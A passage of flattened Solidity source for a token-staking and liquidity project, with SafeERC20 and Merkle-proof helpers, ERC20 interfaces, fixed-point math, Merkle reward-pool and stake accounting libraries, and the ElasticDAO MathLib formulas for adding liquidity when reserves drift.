function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IMintableERC20 is IERC20Metadata {
function mint(address _recipient, uint256 _amount) external;
function burnFrom(address account, uint256 amount) external;
function lowerHasMinted(uint256 amount) external;
}
library FixedPointMath {
uint256 public constant DECIMALS = 18;
uint256 public constant SCALAR = 10**DECIMALS;
struct FixedDecimal {
uint256 x;
}
function fromU256(uint256 value)
internal
pure
returns (FixedDecimal memory)
{
uint256 x;
require(value == 0 || (x = value * SCALAR) / SCALAR == value);
return FixedDecimal(x);
}
function maximumValue() internal pure returns (FixedDecimal memory) {
return FixedDecimal(type(uint256).max);
}
function add(FixedDecimal memory self, FixedDecimal memory value)
internal
pure
returns (FixedDecimal memory)
{
uint256 x;
require((x = self.x + value.x) >= self.x);
return FixedDecimal(x);
}
function add(FixedDecimal memory self, uint256 value)
internal
pure
returns (FixedDecimal memory)
{
return add(self, fromU256(value));
}
function sub(FixedDecimal memory self, FixedDecimal memory value)
internal
pure
returns (FixedDecimal memory)
{
uint256 x;
require((x = self.x - value.x) <= self.x);
return FixedDecimal(x);
}
function sub(FixedDecimal memory self, uint256 value)
internal
pure
returns (FixedDecimal memory)
{
return sub(self, fromU256(value));
}
function mul(FixedDecimal memory self, uint256 value)
internal
pure
returns (FixedDecimal memory)
{
uint256 x;
require(value == 0 || (x = self.x * value) / value == self.x);
return FixedDecimal(x);
}
function div(FixedDecimal memory self, uint256 value)
internal
pure
returns (FixedDecimal memory)
{
require(value != 0);
return FixedDecimal(self.x / value);
}
function cmp(FixedDecimal memory self, FixedDecimal memory value)
internal
pure
returns (int256)
{
if (self.x < value.x) {
return -1;
}
if (self.x > value.x) {
return 1;
}
return 0;
}
function decode(FixedDecimal memory self) internal pure returns (uint256) {
return self.x / SCALAR;
}
}
/// @title Pool
///
/// @dev A library which provides the Merkle Pool data struct and associated functions.
library MerklePool {
using FixedPointMath for FixedPointMath.FixedDecimal;
using MerklePool for MerklePool.Data;
using MerklePool for MerklePool.List;
struct Context {
uint256 rewardRate;
uint256 totalRewardWeight;
}
struct Data {
address token;
uint256 totalDeposited;
uint256 totalUnclaimedTIC;
uint256 totalUnclaimedTICInLP;
uint256 rewardWeight;
FixedPointMath.FixedDecimal accumulatedRewardWeight;
uint256 lastUpdatedBlockTimestamp;
}
struct List {
Data[] elements;
}
/// @dev Updates the pool.
///
/// @param _ctx the pool context.
function update(Data storage _data, Context storage _ctx) internal {
_data.accumulatedRewardWeight = _data.getUpdatedAccumulatedRewardWeight(
_ctx
);
// TODO: make this more gas efficient! we calc it twice!
_data.totalUnclaimedTIC = _data.getUpdatedTotalUnclaimed(_ctx);
_data.lastUpdatedBlockTimestamp = block.timestamp;
}
/// @dev Gets the rate at which the pool will distribute rewards to stakers.
///
/// @param _ctx the pool context.
///
/// @return the reward rate of the pool in tokens per second.
function getRewardRate(Data storage _data, Context storage _ctx)
internal
view
returns (uint256)
{
if (_ctx.totalRewardWeight == 0) {
return 0;
}
return (_ctx.rewardRate * _data.rewardWeight) / _ctx.totalRewardWeight;
}
/// @dev Gets the accumulated reward weight of a pool.
///
/// @param _ctx the pool context.
///
/// @return the accumulated reward weight.
function getUpdatedAccumulatedRewardWeight(
Data storage _data,
Context storage _ctx
) internal view returns (FixedPointMath.FixedDecimal memory) {
if (_data.totalDeposited == 0) {
return _data.accumulatedRewardWeight;
}
uint256 amountToDistribute = _data.getUpdatedAmountToDistribute(_ctx);
if (amountToDistribute == 0) {
return _data.accumulatedRewardWeight;
}
FixedPointMath.FixedDecimal memory rewardWeight =
FixedPointMath.fromU256(amountToDistribute).div(
_data.totalDeposited
);
return _data.accumulatedRewardWeight.add(rewardWeight);
}
/**
* @dev get's the total amount to distribute in this pool based on the last updated timestamp.
* @param _data pool's data
* @param _ctx the pool context
*/
function getUpdatedAmountToDistribute(
Data storage _data,
Context storage _ctx
) internal view returns (uint256) {
uint256 elapsedTime = block.timestamp - _data.lastUpdatedBlockTimestamp;
if (elapsedTime == 0) {
return 0;
}
uint256 rewardRate = _data.getRewardRate(_ctx);
return rewardRate * elapsedTime;
}
/**
* @dev get's the total amount unclaimed in this pool based on the last updated timestamp.
* @param _data pool's data
* @param _ctx the pool context
*/
function getUpdatedTotalUnclaimed(Data storage _data, Context storage _ctx)
internal
view
returns (uint256)
{
if (_data.totalDeposited == 0) {
return _data.totalUnclaimedTIC;
}
return
_data.totalUnclaimedTIC + _data.getUpdatedAmountToDistribute(_ctx);
}
/// @dev Adds an element to the list.
///
/// @param _element the element to add.
function push(List storage _self, Data memory _element) internal {
_self.elements.push(_element);
}
/// @dev Gets an element from the list.
///
/// @param _index the index in the list.
///
/// @return the element at the specified index.
function get(List storage _self, uint256 _index)
internal
view
returns (Data storage)
{
require(_index < _self.elements.length, "MerklePool: INVALID_INDEX");
return _self.elements[_index];
}
/// @dev Gets the last element in the list.
///
/// This function will revert if there are no elements in the list.
///ck
/// @return the last element in the list.
function last(List storage _self) internal view returns (Data storage) {
return _self.elements[_self.lastIndex()];
}
/// @dev Gets the index of the last element in the list.
///
/// This function will revert if there are no elements in the list.
///
/// @return the index of the last element.
function lastIndex(List storage _self) internal view returns (uint256) {
return _self.length() - 1;
}
/// @dev Gets the number of elements in the list.
///
/// @return the number of elements.
function length(List storage _self) internal view returns (uint256) {
return _self.elements.length;
}
}
/// @title Stake
///
/// @dev A library which provides the Stake data struct and associated functions.
library MerkleStake {
using FixedPointMath for FixedPointMath.FixedDecimal;
using MerklePool for MerklePool.Data;
using MerkleStake for MerkleStake.Data;
struct Data {
uint256 totalDeposited;
uint256 totalUnrealized;
uint256 totalRealizedTIC;
uint256 totalRealizedLP;
FixedPointMath.FixedDecimal lastAccumulatedWeight;
}
function update(
Data storage _self,
MerklePool.Data storage _pool,
MerklePool.Context storage _ctx
) internal {
_self.totalUnrealized = _self.getUpdatedTotalUnclaimed(_pool, _ctx);
_self.lastAccumulatedWeight = _pool.getUpdatedAccumulatedRewardWeight(
_ctx
);
}
function getUpdatedTotalUnclaimed(
Data storage _self,
MerklePool.Data storage _pool,
MerklePool.Context storage _ctx
) internal view returns (uint256) {
FixedPointMath.FixedDecimal memory currentAccumulatedWeight =
_pool.getUpdatedAccumulatedRewardWeight(_ctx);
FixedPointMath.FixedDecimal memory lastAccumulatedWeight =
_self.lastAccumulatedWeight;
if (currentAccumulatedWeight.cmp(lastAccumulatedWeight) == 0) {
return _self.totalUnrealized;
}
uint256 amountToDistribute =
currentAccumulatedWeight
.sub(lastAccumulatedWeight)
.mul(_self.totalDeposited)
.decode();
return _self.totalUnrealized + amountToDistribute;
}
}
/**
* @dev Represents all storage for our MerklePools contract for easy upgrading later
*/
contract MerklePoolsStorage {
IMintableERC20 public ticToken; // token which will be minted as a reward for staking.
uint256 public excessTICFromSlippage; // extra TIC that can be used before next mint
address public quoteToken; // other half of the LP token (not the reward token)
address public elasticLPToken; // elastic LP token we create to emit for claimed rewards
address public governance;
address public pendingGovernance;
address public forfeitAddress; // receives all unclaimed TIC when someone exits
bytes32 public merkleRoot;
bool public isClaimsEnabled; // disabled flag until first merkle proof is set.
// Tokens are mapped to their pool identifier plus one. Tokens that do not have an associated pool
// will return an identifier of zero.
mapping(address => uint256) public tokenPoolIds;
MerklePool.Context public poolContext; // The context shared between the pools.
MerklePool.List internal pools; // A list of all of the pools.
// mapping of all of the user stakes mapped first by pool and then by address.
mapping(address => mapping(uint256 => MerkleStake.Data)) public stakes;
}
/**
* @title MathLib
* @author ElasticDAO
*/
library MathLib {
struct InternalBalances {
// x*y=k - we track these internally to compare to actual balances of the ERC20's
// in order to calculate the "decay" or the amount of balances that are not
// participating in the pricing curve and adding additional liquidity to swap.
uint256 baseTokenReserveQty; // x
uint256 quoteTokenReserveQty; // y
uint256 kLast; // as of the last add / rem liquidity event
}
// aids in avoiding stack too deep errors.
struct TokenQtys {
uint256 baseTokenQty;
uint256 quoteTokenQty;
uint256 liquidityTokenQty;
uint256 liquidityTokenFeeQty;
}
uint256 public constant BASIS_POINTS = 10000;
uint256 public constant WAD = 1e18; // represent a decimal with 18 digits of precision
/**
* @dev divides two float values, required since solidity does not handle
* floating point values.
*
* inspiration: https://github.com/dapphub/ds-math/blob/master/src/math.sol
*
* NOTE: this rounds to the nearest integer (up or down). For example .666666 would end up
* rounding to .66667.
*
* @return uint256 wad value (decimal with 18 digits of precision)
*/
function wDiv(uint256 a, uint256 b) public pure returns (uint256) {
return ((a * WAD) + (b / 2)) / b;
}
/**
* @dev rounds a integer (a) to the nearest n places.
* IE roundToNearest(123, 10) would round to the nearest 10th place (120).
*/
function roundToNearest(uint256 a, uint256 n)
public
pure
returns (uint256)
{
return ((a + (n / 2)) / n) * n;
}
/**
* @dev multiplies two float values, required since solidity does not handle
* floating point values
*
* inspiration: https://github.com/dapphub/ds-math/blob/master/src/math.sol
*
* @return uint256 wad value (decimal with 18 digits of precision)
*/
function wMul(uint256 a, uint256 b) public pure returns (uint256) {
return ((a * b) + (WAD / 2)) / WAD;
}
/**
* @dev calculates an absolute diff between two integers. Basically the solidity
* equivalent of Math.abs(a-b);
*/
function diff(uint256 a, uint256 b) public pure returns (uint256) {
if (a >= b) {
return a - b;
}
return b - a;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 x) public pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/**
* @dev defines the amount of decay needed in order for us to require a user to handle the
* decay prior to a double asset entry as the equivalent of 1 unit of quote token
*/
function isSufficientDecayPresent(
uint256 _baseTokenReserveQty,
InternalBalances memory _internalBalances
) public pure returns (bool) {
return (wDiv(
diff(_baseTokenReserveQty, _internalBalances.baseTokenReserveQty) *
WAD,
wDiv(
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty
)
) >= WAD); // the amount of base token (a) decay is greater than 1 unit of quote token (token b)
}
/**
* @dev used to calculate the qty of token a liquidity provider
* must add in order to maintain the current reserve ratios
* @param _tokenAQty base or quote token qty to be supplied by the liquidity provider
* @param _tokenAReserveQty current reserve qty of the base or quote token (same token as tokenA)
* @param _tokenBReserveQty current reserve qty of the other base or quote token (not tokenA)
*/
function calculateQty(
uint256 _tokenAQty,
uint256 _tokenAReserveQty,
uint256 _tokenBReserveQty
) public pure returns (uint256 tokenBQty) {
require(_tokenAQty != 0, "MathLib: INSUFFICIENT_QTY");
require(
_tokenAReserveQty != 0 && _tokenBReserveQty != 0,
"MathLib: INSUFFICIENT_LIQUIDITY"
);
tokenBQty = (_tokenAQty * _tokenBReserveQty) / _tokenAReserveQty;
}
/**
* @dev used to calculate the qty of token a trader will receive (less fees)
* given the qty of token A they are providing
* @param _tokenASwapQty base or quote token qty to be swapped by the trader
* @param _tokenAReserveQty current reserve qty of the base or quote token (same token as tokenA)
* @param _tokenBReserveQty current reserve qty of the other base or quote token (not tokenA)
* @param _liquidityFeeInBasisPoints fee to liquidity providers represented in basis points
*/
function calculateQtyToReturnAfterFees(
uint256 _tokenASwapQty,
uint256 _tokenAReserveQty,
uint256 _tokenBReserveQty,
uint256 _liquidityFeeInBasisPoints
) public pure returns (uint256 qtyToReturn) {
uint256 tokenASwapQtyLessFee =
_tokenASwapQty * (BASIS_POINTS - _liquidityFeeInBasisPoints);
qtyToReturn =
(tokenASwapQtyLessFee * _tokenBReserveQty) /
((_tokenAReserveQty * BASIS_POINTS) + tokenASwapQtyLessFee);
}
/**
* @dev used to calculate the qty of liquidity tokens (deltaRo) we will be issued to a supplier
* of a single asset entry when base token decay is present.
* @param _baseTokenReserveBalance the total balance (external) of base tokens in our pool (Alpha)
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _tokenQtyAToAdd the amount of tokens being added by the caller to remove the current decay
* @param _internalTokenAReserveQty the internal balance (X or Y) of token A as a result of this transaction
* @param _omega - ratio of internal balances of baseToken and quoteToken: baseToken/quoteToken
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateLiquidityTokenQtyForSingleAssetEntryWithBaseTokenDecay(
uint256 _baseTokenReserveBalance,
uint256 _totalSupplyOfLiquidityTokens,
uint256 _tokenQtyAToAdd,
uint256 _internalTokenAReserveQty,
uint256 _omega
) public pure returns (uint256 liquidityTokenQty) {
/**
(is the formula in the terms of quoteToken)
ΔY
= ---------------------
Alpha/Omega + Y'
*/
uint256 wRatio = wDiv(_baseTokenReserveBalance, _omega);
uint256 denominator = wRatio + _internalTokenAReserveQty;
uint256 wGamma = wDiv(_tokenQtyAToAdd, denominator);
liquidityTokenQty =
wDiv(
wMul(_totalSupplyOfLiquidityTokens * WAD, wGamma),
WAD - wGamma
) /
WAD;
}
/**
* @dev used to calculate the qty of liquidity tokens (deltaRo) we will be issued to a supplier
* of a single asset entry when quote decay is present.
* @param _baseTokenReserveBalance the total balance (external) of base tokens in our pool (Alpha)
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _tokenQtyAToAdd the amount of tokens being added by the caller to remove the current decay
* @param _internalTokenAReserveQty the internal balance (X or Y) of token A as a result of this transaction
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateLiquidityTokenQtyForSingleAssetEntryWithQuoteTokenDecay(
uint256 _baseTokenReserveBalance,
uint256 _totalSupplyOfLiquidityTokens,
uint256 _tokenQtyAToAdd,
uint256 _internalTokenAReserveQty
) public pure returns (uint256 liquidityTokenQty) {
/**
ΔX
= ------------------- / (denominator may be Alpha' instead of X)
X + (Alpha + ΔX)
*/
uint256 denominator =
_internalTokenAReserveQty +
_baseTokenReserveBalance +
_tokenQtyAToAdd;
uint256 wGamma = wDiv(_tokenQtyAToAdd, denominator);
liquidityTokenQty =
wDiv(
wMul(_totalSupplyOfLiquidityTokens * WAD, wGamma),
WAD - wGamma
) /
WAD;
}
/**
* @dev used to calculate the qty of liquidity tokens (deltaRo) we will be issued to a supplier
* of a single asset entry when decay is present.
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _quoteTokenQty the amount of quote token the user it adding to the pool (deltaB or deltaY)
* @param _quoteTokenReserveBalance the total balance (external) of quote tokens in our pool (Beta)
*
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateLiquidityTokenQtyForDoubleAssetEntry(
uint256 _totalSupplyOfLiquidityTokens,
uint256 _quoteTokenQty,
uint256 _quoteTokenReserveBalance
) public pure returns (uint256 liquidityTokenQty) {
liquidityTokenQty =
(_quoteTokenQty * _totalSupplyOfLiquidityTokens) /
_quoteTokenReserveBalance;
}
/**
* @dev used to calculate the qty of quote token required and liquidity tokens (deltaRo) to be issued
* in order to add liquidity and remove base token decay.
* @param _quoteTokenQtyDesired the amount of quote token the user wants to contribute
* @param _baseTokenReserveQty the external base token reserve qty prior to this transaction
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
*
* @return quoteTokenQty qty of quote token the user must supply
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateAddQuoteTokenLiquidityQuantities(
uint256 _quoteTokenQtyDesired,
uint256 _baseTokenReserveQty,
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances storage _internalBalances
) public returns (uint256 quoteTokenQty, uint256 liquidityTokenQty) {
uint256 baseTokenDecay =
_baseTokenReserveQty - _internalBalances.baseTokenReserveQty;
// determine max amount of quote token that can be added to offset the current decay
uint256 wInternalBaseTokenToQuoteTokenRatio =
wDiv(
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty
);
// alphaDecay / omega (A/B)
uint256 maxQuoteTokenQty =
wDiv(baseTokenDecay, wInternalBaseTokenToQuoteTokenRatio);
if (_quoteTokenQtyDesired > maxQuoteTokenQty) {
quoteTokenQty = maxQuoteTokenQty;
} else {
quoteTokenQty = _quoteTokenQtyDesired;
}
uint256 baseTokenQtyDecayChange =
roundToNearest(
(quoteTokenQty * wInternalBaseTokenToQuoteTokenRatio),
WAD
) / WAD;
require(
baseTokenQtyDecayChange != 0,
"MathLib: INSUFFICIENT_CHANGE_IN_DECAY"
);
//x += alphaDecayChange
//y += deltaBeta
_internalBalances.baseTokenReserveQty += baseTokenQtyDecayChange;
_internalBalances.quoteTokenReserveQty += quoteTokenQty;
// calculate the number of liquidity tokens to return to user using
liquidityTokenQty = calculateLiquidityTokenQtyForSingleAssetEntryWithBaseTokenDecay(
_baseTokenReserveQty,
_totalSupplyOfLiquidityTokens,
quoteTokenQty,
_internalBalances.quoteTokenReserveQty,
wInternalBaseTokenToQuoteTokenRatio
);
return (quoteTokenQty, liquidityTokenQty);
}
/**
* @dev used to calculate the qty of base tokens required and liquidity tokens (deltaRo) to be issued
* in order to add liquidity and remove base token decay.
* @param _baseTokenQtyDesired the amount of base token the user wants to contribute
* @param _baseTokenQtyMin the minimum amount of base token the user wants to contribute (allows for slippage)
* @param _baseTokenReserveQty the external base token reserve qty prior to this transaction
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return baseTokenQty qty of base token the user must supply
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateAddBaseTokenLiquidityQuantities(
uint256 _baseTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _baseTokenReserveQty,
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances memory _internalBalances
) public pure returns (uint256 baseTokenQty, uint256 liquidityTokenQty) {
uint256 maxBaseTokenQty =
_internalBalances.baseTokenReserveQty - _baseTokenReserveQty;
require(
_baseTokenQtyMin <= maxBaseTokenQty,
"MathLib: INSUFFICIENT_DECAY"
);
if (_baseTokenQtyDesired > maxBaseTokenQty) {
baseTokenQty = maxBaseTokenQty;
} else {
baseTokenQty = _baseTokenQtyDesired;
}
// determine the quote token qty decay change quoted on our current ratios
uint256 wInternalQuoteToBaseTokenRatio =
wDiv(
_internalBalances.quoteTokenReserveQty,
_internalBalances.baseTokenReserveQty
);
// NOTE we need this function to use the same
// rounding scheme as wDiv in order to avoid a case
// in which a user is trying to resolve decay in which
// quoteTokenQtyDecayChange ends up being 0 and we are stuck in
// a bad state.
uint256 quoteTokenQtyDecayChange =
roundToNearest(
(baseTokenQty * wInternalQuoteToBaseTokenRatio),
MathLib.WAD
) / WAD;
require(
quoteTokenQtyDecayChange != 0,
"MathLib: INSUFFICIENT_CHANGE_IN_DECAY"
);
// we can now calculate the total amount of quote token decay
uint256 quoteTokenDecay =
(maxBaseTokenQty * wInternalQuoteToBaseTokenRatio) / WAD;
// this may be redundant quoted on the above math, but will check to ensure the decay wasn't so small
// that it was <1 and rounded down to 0 saving the caller some gas
// also could fix a potential revert due to div by zero.
require(quoteTokenDecay != 0, "MathLib: NO_QUOTE_DECAY");
// we are not changing anything about our internal accounting here. We are simply adding tokens
// to make our internal account "right"...or rather getting the external balances to match our internal
// quoteTokenReserveQty += quoteTokenQtyDecayChange;
// baseTokenReserveQty += baseTokenQty;
// calculate the number of liquidity tokens to return to user using:
liquidityTokenQty = calculateLiquidityTokenQtyForSingleAssetEntryWithQuoteTokenDecay(
_baseTokenReserveQty,
_totalSupplyOfLiquidityTokens,
baseTokenQty,
_internalBalances.baseTokenReserveQty
);
}
/**
* @dev used to calculate the qty of tokens a user will need to contribute and be issued in order to add liquidity
* @param _baseTokenQtyDesired the amount of base token the user wants to contribute
* @param _quoteTokenQtyDesired the amount of quote token the user wants to contribute
* @param _baseTokenQtyMin the minimum amount of base token the user wants to contribute (allows for slippage)
* @param _quoteTokenQtyMin the minimum amount of quote token the user wants to contribute (allows for slippage)
* @param _baseTokenReserveQty the external base token reserve qty prior to this transaction
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return tokenQtys qty of tokens needed to complete transaction
*/
function calculateAddLiquidityQuantities(
uint256 _baseTokenQtyDesired,
uint256 _quoteTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
uint256 _baseTokenReserveQty,
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances storage _internalBalances
) public returns (TokenQtys memory tokenQtys) {
if (_totalSupplyOfLiquidityTokens != 0) {
// we have outstanding liquidity tokens present and an existing price curve
tokenQtys.liquidityTokenFeeQty = calculateLiquidityTokenFees(
_totalSupplyOfLiquidityTokens,
_internalBalances
);
// we need to take this amount (that will be minted) into account for below calculations
_totalSupplyOfLiquidityTokens += tokenQtys.liquidityTokenFeeQty;
// confirm that we have no beta or alpha decay present
// if we do, we need to resolve that first
if (
isSufficientDecayPresent(
_baseTokenReserveQty,
_internalBalances
)
) {
// decay is present and needs to be dealt with by the caller.
uint256 baseTokenQtyFromDecay;
uint256 quoteTokenQtyFromDecay;
uint256 liquidityTokenQtyFromDecay;
if (
_baseTokenReserveQty > _internalBalances.baseTokenReserveQty
) {
// we have more base token than expected (base token decay) due to rebase up
// we first need to handle this situation by requiring this user
// to add quote tokens
(
quoteTokenQtyFromDecay,
liquidityTokenQtyFromDecay
) = calculateAddQuoteTokenLiquidityQuantities(
_quoteTokenQtyDesired,
_baseTokenReserveQty,
_totalSupplyOfLiquidityTokens,
_internalBalances
);
} else {
// we have less base token than expected (quote token decay) due to a rebase down
// we first need to handle this by adding base tokens to offset this.
(
baseTokenQtyFromDecay,
liquidityTokenQtyFromDecay
) = calculateAddBaseTokenLiquidityQuantities(
_baseTokenQtyDesired,
0, // there is no minimum for this particular call since we may use base tokens later.
_baseTokenReserveQty,
_totalSupplyOfLiquidityTokens,
_internalBalances
);
}
if (
quoteTokenQtyFromDecay < _quoteTokenQtyDesired &&
baseTokenQtyFromDecay < _baseTokenQtyDesired
) {
// the user still has qty that they desire to contribute to the exchange for liquidity
(
tokenQtys.baseTokenQty,
tokenQtys.quoteTokenQty,
tokenQtys.liquidityTokenQty
) = calculateAddTokenPairLiquidityQuantities(
_baseTokenQtyDesired - baseTokenQtyFromDecay, // safe from underflow quoted on above IF
_quoteTokenQtyDesired - quoteTokenQtyFromDecay, // safe from underflow quoted on above IF
0, // we will check minimums below
0, // we will check minimums below
_totalSupplyOfLiquidityTokens +
liquidityTokenQtyFromDecay,
_internalBalances // NOTE: these balances have already been updated when we did the decay math.
);
}
tokenQtys.baseTokenQty += baseTokenQtyFromDecay;
tokenQtys.quoteTokenQty += quoteTokenQtyFromDecay;
tokenQtys.liquidityTokenQty += liquidityTokenQtyFromDecay;
require(
tokenQtys.baseTokenQty >= _baseTokenQtyMin,
"MathLib: INSUFFICIENT_BASE_QTY"
);
require(
tokenQtys.quoteTokenQty >= _quoteTokenQtyMin,
"MathLib: INSUFFICIENT_QUOTE_QTY"
);
} else {
// the user is just doing a simple double asset entry / providing both base and quote.
(
tokenQtys.baseTokenQty,
tokenQtys.quoteTokenQty,
tokenQtys.liquidityTokenQty
) = calculateAddTokenPairLiquidityQuantities(
_baseTokenQtyDesired,
_quoteTokenQtyDesired,
_baseTokenQtyMin,
_quoteTokenQtyMin,
_totalSupplyOfLiquidityTokens,
_internalBalances
);
}
} else {
// this user will set the initial pricing curve
require(
_baseTokenQtyDesired != 0,
"MathLib: INSUFFICIENT_BASE_QTY_DESIRED"
);
require(
_quoteTokenQtyDesired != 0,
"MathLib: INSUFFICIENT_QUOTE_QTY_DESIRED"
);
tokenQtys.baseTokenQty = _baseTokenQtyDesired;
tokenQtys.quoteTokenQty = _quoteTokenQtyDesired;
tokenQtys.liquidityTokenQty = sqrt(
_baseTokenQtyDesired * _quoteTokenQtyDesired
);
_internalBalances.baseTokenReserveQty += tokenQtys.baseTokenQty;
_internalBalances.quoteTokenReserveQty += tokenQtys.quoteTokenQty;
}
}
/**
* @dev calculates the qty of base and quote tokens required and liquidity tokens (deltaRo) to be issued
* in order to add liquidity when no decay is present.
* @param _baseTokenQtyDesired the amount of base token the user wants to contribute
* @param _quoteTokenQtyDesired the amount of quote token the user wants to contribute
